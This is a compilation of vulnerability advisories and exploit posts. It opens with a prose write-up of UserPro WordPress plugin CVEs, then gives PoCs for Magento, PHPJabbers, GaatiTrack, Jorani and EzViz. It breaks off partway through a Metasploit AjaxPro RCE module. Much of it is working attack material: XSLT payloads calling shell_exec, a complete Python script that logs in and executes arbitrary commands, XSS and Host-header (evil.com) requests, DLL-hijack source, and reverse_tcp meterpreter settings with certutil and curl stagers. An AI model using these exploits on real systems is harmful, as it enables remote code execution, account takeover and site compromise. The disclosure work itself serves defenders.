<pre><code>Vulnerability Details & Technical Analysis<br /><br />Password Reset to Privilege Escalation using the Sensitive Information Disclosure via Shortcode<br /><br />Description: UserPro <= 5.1.1 – Insecure Password Reset Mechanism<br /><br />Affected Plugin: UserPro<br /><br />Plugin Slug: userpro<br /><br />Affected Versions: <= 5.1.1<br /><br />CVE ID: CVE-2023-2449<br /><br />CVSS Score: 9.8 (Critical)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H<br /><br />Researcher/s: István Márton <br /><br />Fully Patched Version: 5.1.2<br /><br />The UserPro plugin for WordPress is vulnerable to unauthorized password resets in versions up to, and including 5.1.1. This is due to the plugin using the native WordPress password reset functionality combined with insufficient validation on the password reset function (userpro_process_form). The function uses the plaintext value of the password reset key instead of a hashed value, which means it can easily be retrieved and subsequently used. An attacker can leverage CVE-2023-2448 and CVE-2023-2446, or another vulnerability such as SQL Injection in another plugin or theme installed on the site to successfully exploit this vulnerability.<br /><br />Description: UserPro <= 5.1.1 – Sensitive Information Disclosure via Shortcode<br /><br />Affected Plugin: UserPro<br /><br />Plugin Slug: userpro<br /><br />Affected Versions: <= 5.1.1<br /><br />CVE ID: CVE-2023-2446<br /><br />CVSS Score: 6.5 (Medium)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N<br /><br />Researcher/s: István Márton <br /><br />Fully Patched Version: 5.1.2<br /><br />The UserPro plugin for WordPress is vulnerable to sensitive information disclosure via the ‘userpro’ shortcode in versions up to, and including 5.1.1. This is due to insufficient restriction on sensitive user meta values that can be retrieved via that shortcode. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to retrieve sensitive user metadata that can be used to gain access to high privileged user accounts.<br /><br />The UserPro plugin provides the shortcode ‘[userpro template="reset"]‘ to embed a password reset form into a page on a WordPress site. The form allows users to submit their username or email address to receive an email with a password reset link containing a user secret key.<br /><br />Examining the code reveals that the plugin sends the user secret key with the 'reset' template in the userpro_process_form() function:<br /><br />[View the code snippet on the blog.] <br /><br />After the ‘uniquekey’ is generated, it is saved in the database with the update_user_meta() function in plain text format, and then the same code is sent to the user by email with the userpro_mail() function.<br /><br />The plugin checks that the user secret key belongs to the given user with the 'change' template in the userpro_process_form() function:<br /><br />[View the code snippet on the blog.] <br /><br />Since the secret key is stored in plain text format, this means that an attacker that has access to user metadata can change the password of any user. This is an Insecure Password Reset Mechanism vulnerability (CVE-2023-2449). Unlike WordPress core, which saves the ‘user_activation_key’ used for password reset in the ‘users’ table, the plugin stores the key in the ‘usermeta’ table.<br /><br />Using the Sensitive Information Disclosure via Shortcode (CVE-2023-2446) vulnerability, this key can be retrieved for any user, and combined with the Missing Authorization to Arbitrary Shortcode Execution via ‘userpro_shortcode_template’ function vulnerability (CVE-2023-2448), it is also possible to query it unauthenticated.<br /><br />The reset password process looks like this:<br /><br />userpro-password-reset-howto-wordfence <br /><br />The complete exploit process looks like this:<br /><br />userpro-password-reset-attack-howto-wordfence <br /><br />A safe reset password process would look like this:<br /><br />wp-core-password-reset-howto-wordfence <br /><br />In this case, the key required for the password reset will be hashed using the HashPassword() function and stored in hashed form in the database. The original key will only be sent to the user via email.<br /><br />When the user clicks on the password reset link in the email, which contains the original key, the original key will be hashed with the HashPassword() function during the password reset process, and then compared with the hashed key in the database.<br /><br />Since the original key would be hashed and would only be compared afterwards, it would not be possible to reset the password by knowing the hashed key in the database, because there is no process in WordPress core that allows you to enter a hashed key and compare it with the hashed key stored in the database.<br /><br />As with any Arbitrary User Password Change that leads to a Privilege Escalation vulnerability, this can be used for complete site compromise. Once an attacker has gained administrative user access to a WordPress site they can then manipulate anything on the targeted site as a normal administrator would. This includes the ability to upload plugin and theme files, which can be malicious zip files containing backdoors, as well as modifying posts and pages which can be leveraged to redirect site users to malicious sites.<br /><br />Missing Authorization to Arbitrary Shortcode Execution<br /><br />Description: UserPro <= 5.1.4 – Missing Authorization to Arbitrary Shortcode Execution via userpro_shortcode_template<br /><br />Affected Plugin: UserPro<br /><br />Plugin Slug: userpro<br /><br />Affected Versions: <= 5.1.4<br /><br />CVE ID: CVE-2023-2448<br /><br />CVSS Score: 6.5 (Medium)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L<br /><br />Researcher/s: István Márton <br /><br />Fully Patched Version: 5.1.5<br /><br />The UserPro plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the ‘userpro_shortcode_template’ function in versions up to, and including, 5.1.4. This makes it possible for unauthenticated attackers to perform arbitrary shortcode execution. An attacker can leverage CVE-2023-2446 to get sensitive information via shortcode.<br /><br />The UserPro plugin has a ‘userpro_shortcode_template’ function that can be used to execute arbitrary shortcodes specified in the request parameter.<br /><br />[View the code snippet on the blog.] <br /><br />The ‘wp_ajax_nopriv_userpro_shortcode_template’ AJAX action also can be used by users who are not authenticated to WordPress due to the hook utilizing ‘nopriv’.<br /><br />This vulnerability, on its own, wouldn’t be severe, but it makes it possible to exploit other vulnerabilities even without authentication.<br /><br />Since WordPress 6.3.2, contributor-level permissions and above are required to execute shortcodes, which means this vulnerability is more impactful on updated WordPress installations.<br /><br />Authentication Bypass to Administrator<br /><br />Description: UserPro <= 5.1.1 – Authentication Bypass to Administrator<br /><br />Affected Plugin: UserPro<br /><br />Plugin Slug: userpro<br /><br />Affected Versions: <= 5.1.1<br /><br />CVE ID: CVE-2023-2437<br /><br />CVSS Score: 9.8 (Critical)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H<br /><br />Researcher/s: István Márton <br /><br />Fully Patched Version: 5.1.2<br /><br />The UserPro plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 5.1.1. This is due to insufficient verification on the user being supplied during a Facebook login through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they know the user’s email address. An attacker can leverage CVE-2023-2448 and CVE-2023-2446 to get the user’s email address to successfully exploit this vulnerability.<br /><br />The UserPro plugin provides a Facebook social media login. Examining the code reveals that this works completely differently than the usual OAuth authentication.<br /><br />The login method is available via AJAX request, via the following hook:<br /><br />[View the code snippet on the blog.] <br /><br />The plugin uses the Facebook app ID to store the user ID in the usermeta table with AES encryption.<br /><br />During the login process, it queries the user based on the provided ID, and if it finds the connected user, it logs them in.<br /><br />However, if it does not find a user based on ID, the plugin tries to find the user based on the email specified in the request:<br /><br />[View the code snippet on the blog.] <br /><br />The most significant problem and vulnerability is caused by the fact that there is no connection with Facebook, and the email is not verified as coming from Facebook’s system – instead the attacker can provide the email in the request.<br /><br />This makes it possible for threat actors to bypass authentication entirely and gain access to arbitrary accounts on sites running a vulnerable version of the plugin. As always, authentication bypass vulnerabilities resulting in access to high privileged user accounts make it easy for threat actors to completely compromise a vulnerable WordPress site and further infect the victim.<br /><br />Since there are several different vulnerabilities in the plugin, which can be used to query users’ email, this vulnerability is critical and can be easily exploited.<br /><br />Wordfence Firewall<br /><br />The following graphic demonstrates the steps to exploitation an attacker might take and at which point the Wordfence firewall would block an attacker from successfully exploiting the vulnerability.<br /><br />userpro-facebook-auth-bypass-howto-wordfence-firewall <br /><br />Authenticated (Subscriber+) Privilege Escalation<br /><br />Description: UserPro <= 5.1.4 – Authenticated (Subscriber+) Privilege Escalation<br /><br />Affected Plugin: UserPro<br /><br />Plugin Slug: userpro<br /><br />Affected Versions: <= 5.1.4<br /><br />CVE ID: CVE-2023-6009<br /><br />CVSS Score: 8.8 (High)<br /><br />CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H<br /><br />Researcher/s: István Márton <br /><br />Fully Patched Version: 5.1.5<br /><br />The UserPro plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 5.1.4 due to insufficient restriction on the ‘userpro_update_user_profile’ function. This makes it possible for authenticated attackers, with minimal permissions such as a subscriber, to modify their user role by supplying the ‘wp_capabilities’ parameter during a profile update.<br /><br />The UserPro plugin provides the shortcode ‘[userpro template="edit"]‘ to edit a user profile. This provides the usual profile fields, such as first name, last name, biography, or social profile urls.<br /><br />The form is processed via AJAX when submitted, using the userpro_process_form function. The function processes the values provided by the user in the request as follows:<br /><br />[View the code snippet on the blog.] <br /><br />It updates the user meta with the following function:<br /><br />[View the code snippet on the blog.] <br /><br />The most significant problem and vulnerability is caused by the fact that there are no restrictions on the profile options, so the user’s metadata can be updated arbitrarily, and there is no sanitization on the field value, so any value can be set, including an array value, which is necessary for the capability meta option.<br /><br />This makes it possible for authenticated users, such as subscribers, to supply the ‘wp_capabilities’ array parameter with any desired capabilities, such as administrator, during the profile update.<br /><br />As with any Privilege Escalation vulnerability, this can be used for complete site compromise. Once an attacker has gained administrative user access to a WordPress site they can then manipulate anything on the targeted site as a normal administrator would. This includes the ability to upload plugin and theme files, which can be malicious zip files containing backdoors, and modifying posts and pages which can be leveraged to redirect site users to other malicious sites.<br /><br />Numerous Other Missing Authorization and Cross-Site Request Forgery Vulnerabilities<br /><br />In addition to the vulnerabilities outlined above, we discovered several AJAX and POST actions without proper capability checks, which made it possible for authenticated attackers with minimal access, such as subscribers, to invoke those actions. Several of the functions were also missing nonce verification, which would make it possible for attackers to forge requests on behalf of a site administrator, or any other authenticated user considering capability checks were also missing.<br /><br />Disclosure Timeline<br /><br />April 26, 2023 – Initial discovery of multiple vulnerabilities in UserPro.<br /><br />May 1, 2023 – We initiate contact with the plugin vendor asking that they confirm the inbox for handling the discussion.<br /><br />May 10, 2023 – The vendor confirms the inbox for handling the discussion.<br /><br />May 10, 2023 – We send over the full disclosure details. The vendor acknowledges the report and begins working on a fix.<br /><br />May 19, 2023 – Wordfence Premium, Care, and Response users receive a firewall rule to provide protection against any exploits that may target this vulnerability.<br /><br />June 18, 2023 – Wordfence Free users receive the same protection.<br /><br />July 27, 2023 – A partially patched version of the plugin, 5.1.1, is released.<br /><br />September 28, 2023 – A partially patched version of the plugin, 5.1.2, is released.<br /><br />October 31, 2023 – A fully patched version of the plugin, 5.1.5, is released.<br /><br />Please note we omitted several dates from this timeline as there were extensive back and forth communications with the developer to ensure everything got adequately patched.<br /><br />Conclusion<br /><br />In this blog post, we detailed multiple vulnerabilities in the UserPro plugin affecting versions 5.1.4 and earlier. The vulnerabilities have been fully addressed in version 5.1.5 of the plugin. We encourage WordPress users to verify that their sites are updated to the latest patched version of UserPro as soon as possible.<br /><br />Wordfence Premium , Wordfence Care , and Wordfence Response users received a firewall rule to protect against any exploits targeting this vulnerability on May 19, 2023. Sites still using the free version of Wordfence received the same protection on June 18, 2023.<br /><br />If you know someone who uses this plugin on their site, we recommend sharing this advisory with them to ensure their site remains secure, as this vulnerability poses a significant risk.<br /><br />For security researchers looking to disclose vulnerabilities responsibly, obtain a CVE ID and earn bounty rewards, you can submit your findings to Wordfence Intelligence and potentially earn a bounty! <br /><br /></code></pre>
<pre><code># Exploit Title: Magento ver. 2.4.6 - XSLT Server Side Injection<br />Date:** 2023-11-17<br />Exploit Author:** tmrswrr<br />Vendor Homepage:** [https://magento2demo.firebearstudio.com/](https://magento2demo.firebearstudio.com/)<br />Software Link:** [Magento 2.4.6-p3](https://github.com/magento/magento2/archive/refs/tags/2.4.6-p3.zip)<br />Version:** 2.4.6<br />Tested on:** 2.4.6<br /><br />## POC<br /><br />1. Enter with admin credentials to this URL: [https://magento2demo.firebearstudio.com/](https://magento2demo.firebearstudio.com/)<br />2. Click `SYSTEM > Import Jobs > Entity Type Widget > click edit`<br />3. Choose Import Source is File<br />4. Click `XSLT Configuration` and write this payload:<br /><br /> ```xml<br /> <?xml version="1.0" encoding="utf-8"?><br /> <xsl:stylesheet version="1.0"<br /> xmlns:xsl="http://www.w3.org/1999/XSL/Transform"<br /> xmlns:php="http://php.net/xsl"><br /> <xsl:template match="/"><br /> <xsl:value-of select="php:function('shell_exec','id')" /><br /> </xsl:template><br /> </xsl:stylesheet>```<br /><br />##RESULT<br /> <br />**<?xml version="1.0"?><br />**uid=10095(a0563af8) gid=1050(a0563af8) groups=1050(a0563af8)<br /></code></pre>
<pre><code># Exploit Title: PHPJabbers Availability Booking Calendar v5.0 - CSV<br />Injection<br /># Date: 12/11/2023<br /># Exploit Author: BugsBD Security Researcher (Rahad Chowdhury)<br /># Vendor Homepage: https://www.phpjabbers.com/<br /># Software Link:<br />https://www.phpjabbers.com/availability-booking-calendar/#sectionDemo<br /># Version: v5.0<br /># Tested on: Windows 10, Linux<br /># CVE: CVE-2023-48207<br /><br />Description:<br />PHPJabbers Availability Booking Calendar v5.0 is vulnerable to CSV<br />injection vulnerability which allows an attacker to execute remote code.<br />The vulnerability exists due to insufficient input validation on the Unique<br />ID field in the Reservations list that is used to construct a CSV file.<br /><br />Steps to Reproduce:<br />1. Login your panel.<br />2. Go to System Menu then click Language and go to Labels.<br />3. Now use CSV Injection Payload in any field and go to Import/Export.<br />4. Now click export and open your system.<br /><br />## Reproduce:<br />[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-48207)<br /></code></pre>
<pre><code># Exploit Title: GaatiTrack Courier Management System v1.0 - Multiple<br />Cross-site scripting<br /># Date: 12/112023<br /># Exploit Author: BugsBD Security Researcher (Rahad Chowdhury)<br /># Vendor Homepage: https://www.mayurik.com/<br /># Software Link:<br />https://www.mayurik.com/source-code/P0998/best-courier-management-system-project-in-php<br /># Version: v1.0<br /># Tested on: Windows 10, PHP 8.2.4, Apache 2.4.56<br /># CVE: CVE-2023-48206<br /><br />Description:<br />Multiple reflected cross-site scripting (XSS) vulnerability exists in<br />login.php, header.php page of GaatiTrack Courier Management System v1.0<br />that allows attackers to execute arbitrary web scripts or HTML via a<br />crafted payload injected into the Website login page parameter.<br /><br />Steps to Reproduce:<br />1. Go to login and capture request data using burp suite. Your request data<br />will be:<br /><br />GET /gaatitrack/login.php HTTP/1.1<br />Host: 192.168.1.74<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)<br />Gecko/20100101 Firefox/119.0<br />Accept:<br />text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br />Accept-Language: en-US,en;q=0.5<br />Accept-Encoding: gzip, deflate, br<br />Connection: close<br />Cookie: PHPSESSID=abl1dci7hob2f90sf5ag9k00mp<br />Upgrade-Insecure-Requests: 1<br /><br />2. Now use XSS payload in login.php. So your request data will be:<br />GET<br />/gaatitrack/login.php?page=1</title><script>alert(document.domain)</script><br />HTTP/1.1<br />Host: 192.168.1.74<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)<br />Gecko/20100101 Firefox/119.0<br />Accept:<br />text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br />Accept-Language: en-US,en;q=0.5<br />Accept-Encoding: gzip, deflate, br<br />Connection: close<br />Cookie: PHPSESSID=abl1dci7hob2f90sf5ag9k00mp<br />Upgrade-Insecure-Requests: 1<br /><br />3. Forward You request data and check browser. You will be popup with<br />domain.<br /><br />## Reproduce:<br />[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-48206)<br /></code></pre>
<pre><code># Exploit Title: Jorani Leave Management System v1.0.2 Host Header Attack<br /># Date: 12/11/2023<br /># Exploit Author: BugsBD Security Researcher (Rahad Chowdhury)<br /># Vendor Homepage: https://jorani.org/<br /># Software Link:<br />https://github.com/bbalet/jorani/releases/download/v1.0.2/jorani-1.0.2.zip<br /># Version: v1.0.2<br /># Tested on: Windows 10, PHP version: 8.2.4, Apache/2.4.56<br /># CVE: CVE-2023-48205<br /><br />Descriptions:<br />A Host Header Injection vulnerability in Jorani Leave Management System<br />1.0.2 may allow an attacker to spoof a particular header. This can be<br />exploited by abusing password reset emails.<br /><br /><br />Steps to Reproduce:<br /><br />1. Request:<br /><br />GET /jorani/session/login HTTP/1.1<br />Host: 192.168.1.74<br />Cache-Control: max-age=0<br />Upgrade-Insecure-Requests: 1<br />User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like<br />Gecko) Chrome/119.0.0.0 Safari/537.36<br />Accept:<br />text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8<br />Sec-GPC: 1<br />Accept-Language: en-US,en<br />Accept-Encoding: gzip, deflate, br<br />Cookie: csrf_cookie_jorani=6ebb2e7eeb6867e2a83f96118ca6ecb3;<br />jorani_session=pqop598dtj85okrjvh043es6pqp1juag<br />Connection: close<br /><br />2. Now change host name and check browser response. So your request data<br />will be:<br /><br />GET /jorani/session/login HTTP/1.1<br />Host: evil.com<br />Cache-Control: max-age=0<br />Upgrade-Insecure-Requests: 1<br />User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like<br />Gecko) Chrome/119.0.0.0 Safari/537.36<br />Accept:<br />text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8<br />Sec-GPC: 1<br />Accept-Language: en-US,en<br />Accept-Encoding: gzip, deflate, br<br />Cookie: csrf_cookie_jorani=6ebb2e7eeb6867e2a83f96118ca6ecb3;<br />jorani_session=pqop598dtj85okrjvh043es6pqp1juag<br />Connection: close<br /><br />## Reproduce:<br />[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-48205)<br /></code></pre>
<pre><code>Exploit Title: FireBear Improved Import & Export ver. 3.8.6 for Magento 2.4.6 - XSLT Server Side Injection Command Execution<br /># Date: 2023-11-17<br /># Exploit Author: tmrswrr<br /># Vendor Homepage: https://commercemarketplace.adobe.com/<br /># Software Link: https://commercemarketplace.adobe.com/firebear-importexport.html<br /># Version: FireBear ver. 3.8.6<br /># Tested on: Magento 2.4.6<br /><br />Poc:<br /><br />https://github.com/capture0x/Magento-ver.-2.4.6/<br /><br />Exploit:<br /><br />import requests<br />from bs4 import BeautifulSoup<br />import re<br />import json <br />import sys<br /><br /><br />if len(sys.argv) != 3:<br /> print("Usage: python exploit.py <base_url> <command>")<br /> sys.exit(1)<br /><br /><br />base_url = sys.argv[1]<br />command = sys.argv[2]<br /><br />base_url = base_url.rstrip('/') + '/'<br />login_page_url = base_url + "admin/"<br />login_action_url = base_url + "admin/"<br />import_job_edit_url = base_url + "import/job/edit/entity_id/21/"<br /><br /> <br />session = requests.Session()<br /><br /> <br />response = session.get(login_page_url)<br />soup = BeautifulSoup(response.text, 'html.parser')<br /><br /><br />form_key = soup.find('input', {'name': 'form_key'})['value']<br /><br /><br />login_payload = {<br /> 'form_key': form_key,<br /> 'login[username]': 'demo',<br /> 'login[password]': '1q2w3e4r5t'<br />}<br /><br /> <br />headers = {<br /> 'Content-Type': 'application/x-www-form-urlencoded',<br /> 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36'<br />}<br /><br /> <br />login_response = session.post(login_action_url, headers=headers, data=login_payload)<br /><br /> <br />if login_response.ok and login_response.history:<br /> print("Login successful!")<br /> redirected_url = login_response.url<br /> print("Redirected URL:", redirected_url)<br /><br /> <br /> import_job_edit_response = session.get(import_job_edit_url)<br /> soup = BeautifulSoup(import_job_edit_response.text, 'html.parser')<br /><br /><br /> second_form_key = soup.find('input', {'name': 'form_key'})['value']<br /> print("Extracted Key")<br /> <br /> key = re.findall(r'key\/(.*?)\/', login_response.url)[0]<br /><br /> <br /> second_post_url = f"{base_url}import/job/xslt/key/{key}/?isAjax=true"<br /> <br /><br /><br /> <br /> second_post_payload = f"form_data%5B%5D=file_path%2Bpub%2Fmedia%2Fimportexport%2Fh%2Fe%2Fhello_39.xml&form_data%5B%5D=xslt%2B%3C%3Fxml+version%3D%221.0%22+encoding%3D%22utf-8%22%3F%3E%0A%3Cxsl%3Astylesheet+version%3D%221.0%22%0Axmlns%3Axsl%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2FXSL%2FTransform%22%0Axmlns%3Aphp%3D%22http%3A%2F%2Fphp.net%2Fxsl%22%3E%0A%3Cxsl%3Atemplate+match%3D%22%2F%22%3E%0A%3Cxsl%3Avalue-of+select%3D%22php%3Afunction('shell_exec'%2C'{command}')%22+%2F%3E%0A%3C%2Fxsl%3Atemplate%3E%0A%3C%2Fxsl%3Astylesheet%3E&form_data%5B%5D=import_source%2Bfile&form_data%5B%5D=type_file%2Bxml&form_data%5B%5D=host%2B&form_data%5B%5D=port%2B&form_data%5B%5D=username%2B&form_data%5B%5D=password%2B&form_data%5B%5D=type_file%2Bxml&form_data%5B%5D=import_source%2Bfile&form_data%5B%5D=file_upload%2B&form_data%5B%5D=predefined_structure%2B0&form_data%5B%5D=file_path%2Bpub%2Fmedia%2Fimportexport%2Fh%2Fe%2Fhello_39.xml&form_data%5B%5D=import_images_file_dir%2B&form_data%5B%5D=scan_directory%2B0&form_data%5B%5D=deferred_images%2B0&form_data%5B%5D=delete_file_after_import%2B0&form_data%5B%5D=archive_file_after_import%2B0&form_data%5B%5D=image_import_source%2B0&form_data%5B%5D=remove_current_mappings%2B0&form_data%5B%5D=associate_child_review_to_configurable_parent_product%2B0&form_data%5B%5D=associate_child_review_to_bundle_parent_product%2B0&form_key={second_form_key}"<br /><br /> <br /> second_post_headers = {<br /> 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',<br /> 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36',<br /> 'Referer': import_job_edit_response.url <br /> }<br /><br /> <br /> second_post_response = session.post(second_post_url, headers=second_post_headers, data=second_post_payload)<br /><br /> <br /> if second_post_response.ok:<br /> print("XSL Imported!")<br /> response_json = json.loads(second_post_response.text)<br /> <br /> result_xml = response_json.get("result", "")<br /> if result_xml is not None:<br /> <br /> result_xml = result_xml.replace("<?xml version=\"1.0\"?>", "\n")<br /> <br /> else: <br /> <br /> result_xml = "No Output found in the response."<br /> <br /> print("Output:", result_xml)<br /> <br /><br /> else:<br /> print("Import failed.")<br /> print("Status Code:", second_post_response.status_code)<br /> print("Response:", second_post_response.text)<br /><br />else:<br /> print("Login failed.")<br /><br /> <br />session.close()<br /><br /></code></pre>
<pre><code># Exploit Title: Shuttle Booking Software v2.0 - Multiple Stored Cross-Site<br />Scripting (Authenticated)<br /># Date: 09/11/2023<br /># Exploit Author: BugsBD Security Researcher (Rahad Chowdhury)<br /># Vendor Homepage: https://www.phpjabbers.com/shuttle-booking-software/<br /># Software Link: https://www.phpjabbers.com/shuttle-booking-software/<br /># Version: v2.0<br /># Tested on: Windows 10, Kali Linux<br /># CVE: CVE-2023-48172<br /><br />Descriptions:<br />Cross Site Scripting vulnerability in Shuttle Booking Software v.2.0 allows<br />a remote attacker to execute arbitrary code via the name, description,<br />title and address parameters in the index.php page.<br /><br /><br />Steps to Reproduce:<br />1. At first login your panel.<br />2. Then use any XSS Payload in "name, description, title and address"<br />parameters in Location, Lines and Users menus.<br />3. You will see XSS pop up.<br /><br />## Reproduce:<br />[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-48172)<br /></code></pre>
<pre><code>Exploit Title: Magento ver. 2.4.6 - XSLT Server Side Injection<br /># Date: 2023-11-17<br /># Exploit Author: tmrswrr<br /># Vendor Homepage: https://magento2demo.firebearstudio.com/<br /># Software Link: https://github.com/magento/magento2/archive/refs/tags/2.4.6-p3.zip<br /># Version: 2.4.6<br /># Tested on: 2.4.6<br /><br />POC:<br /><br />1 ) Enter with admin creds this url : https://magento2demo.firebearstudio.com/<br />2 ) Click SYSTEM > Import Jobs > Entity Type Widget > click edit <br />3 ) Click XSLT Configuration and write this payload : <br /><br /><?xml version="1.0" encoding="utf-8"?><br /><xsl:stylesheet version="1.0"<br />xmlns:xsl="http://www.w3.org/1999/XSL/Transform"<br />xmlns:php="http://php.net/xsl" ><br /><xsl:template match="/"><br /><xsl:value-of select="php:function('shell_exec','id')" /><br /></xsl:template><br /></xsl:stylesheet><br /><br />4 ) Click Test XSL Template , You will be see "id" command result :<br /><br /><?xml version="1.0"?><br />uid=10095(a0563af8) gid=1050(a0563af8) groups=1050(a0563af8)<br /><br /><br /></code></pre>
<pre><code>PoC:<br /><br />*DLL Hijacking via EzViz Studio (Reported by EAFZ from Pythongoras)*<br /><br />*Author: EAFZ aka myantti3m*<br /><br />*CVE: **CVE**-2023-41613.*<br /><br />*Test Environment:*<br /><br />OS: Windows 11 Pro 64 bit(10.0, Build 2261)<br /><br />EzViz Studio version: 2.2.0<br /><br />*Technical Description *<br /><br />*1. **Technical Description *<br /><br />EzvizStudio.exe searches for a DLL called TcApi.dll. Because TcApi.dll<br />doesn’t exist in any of the paths of the DLL search order. In particular,<br />some paths have writable permissions for normal users as:<br /><br />· C:\Users\<Username>\AppData\Local\Programs\Microsoft VS<br />Code\bin\TcApi.dll<br /><br />· C:\Users\<Username>\AppData\Local\Microsoft\WindowsApps\TcApi.dll<br /><br />So we can plant “malicious” TcApi.dll inside these directories and wait<br />until the application will load it.<br /><br />*POC*<br /><br />We created a malicious DLL file (TcApi.dll) and complied it. In our case,<br />it opens calc.exe. You can see the code below:<br /><br />#include <windows.h><br /><br />#pragma comment (lib, "user32.lib")<br /><br />#include "pch.h"<br /><br />#include <iostream><br /><br />#include <stdlib.h><br /><br />BOOL APIENTRY DllMain(HMODULE hModule,<br /><br /> DWORD nReason, LPVOID lpReserved) {<br /><br /> switch (nReason) {<br /><br /> case DLL_PROCESS_ATTACH:<br /><br /> system("calc.exe");<br /><br /><br /><br /> break;<br /><br /> case DLL_PROCESS_DETACH:<br /><br /> break;<br /><br /> case DLL_THREAD_ATTACH:<br /><br /> break;<br /><br /> case DLL_THREAD_DETACH:<br /><br /> break;<br /><br /> }<br /><br /> return TRUE;<br /><br />}<br /><br />Copy “malicious” TcApi.dll to<br /><br />C:\Users\<Username>\AppData\Local\Microsoft\WindowsApps\TcApi.dll<br /><br />If we run the EzVizStudio again, the code from the “malicious” DLL runs<br /><br /><br /><br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /><br /> Rank = ExcellentRanking<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::CmdStager<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'AjaxPro Deserialization Remote Code Execution',<br /> 'Description' => %q{<br /> This module leverages an insecure deserialization of data to get<br /> remote code execution on the target OS in the context of the user<br /> running the website which utilized AjaxPro.<br /><br /> To achieve code execution, the module will construct some JSON data<br /> which will be sent to the target. This data will be deserialized by<br /> the AjaxPro JsonDeserializer and will trigger the execution of the<br /> payload.<br /><br /> All AjaxPro versions prior to 21.10.30.1 are vulnerable to this<br /> issue, and a vulnerable method which can be used to trigger the<br /> deserialization exists in the default AjaxPro namespace.<br /><br /> AjaxPro 21.10.30.1 removed the vulnerable method, but if a custom<br /> method that accepts a parameter of type that is assignable from<br /> `ObjectDataProvider` (e.g. `object`) exists, the vulnerability can<br /> still be exploited.<br /><br /> This module has been tested successfully against official AjaxPro on<br /> version 7.7.31.1 without any modification, and on version 21.10.30.1<br /> with a custom vulnerable method added.<br /> },<br /> 'Author' => [<br /> 'Hans-Martin Münch (MOGWAI LABS)', # Discovery<br /> 'Jemmy Wang' # MSF Module<br /> ],<br /> 'References' => [<br /> ['CVE', '2021-23758'],<br /> ['URL', 'https://mogwailabs.de/en/blog/2022/01/vulnerability-spotlight-rce-in-ajax.net-professional/']<br /> ],<br /> 'DisclosureDate' => '2021-12-03',<br /> 'License' => MSF_LICENSE,<br /> 'Platform' => ['windows'],<br /> 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],<br /> 'Privileged' => false,<br /> 'Targets' => [<br /> [<br /> 'Windows Command',<br /> {<br /> 'Platform' => 'win',<br /> 'Arch' => ARCH_CMD,<br /> 'Type' => :win_cmd,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp'<br /> }<br /> }<br /> ],<br /> [<br /> 'Windows Dropper',<br /> {<br /> 'Platform' => 'win',<br /> 'Arch' => [ARCH_X86, ARCH_X64],<br /> 'Type' => :win_dropper,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'windows/meterpreter/reverse_tcp',<br /> 'CMDSTAGER::FLAVOR' => 'certutil'<br /> },<br /> 'CmdStagerFlavor' => %w[vbs certutil debug_write debug_asm tftp psh_invokewebrequest curl wget lwp-request]<br /> }<br /> ],<br /> ],<br /> 'DefaultOptions' => { 'WfsDelay' => 30 },<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [SCREEN_EFFECTS, IOC_IN_LOGS, ARTIFACTS_ON_DISK]<br /> }<br /> )<br /> )<br /><br /> register_options([<br /> OptString.new('TARGETURI', [true, 'Base path to AjaxPro Handler', '/ajaxpro/']),<br /> OptString.new('Namespace', [true, 'Namespace of vulnerable method', 'AjaxPro.Services.ICartService,AjaxPro.2']),<br /> OptString.new('Method', [true, 'Name of vulnerable method', 'AddItem']),<br /> OptString.new('Parameter', [true, 'Name of vulnerable parameter', 'item'])<br /> ])<br /><br /> @ajax_pro = { ID: 'AjaxPro' }<br /> end<br /><br /> def check<br /> res = send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'core.ashx'),<br /> 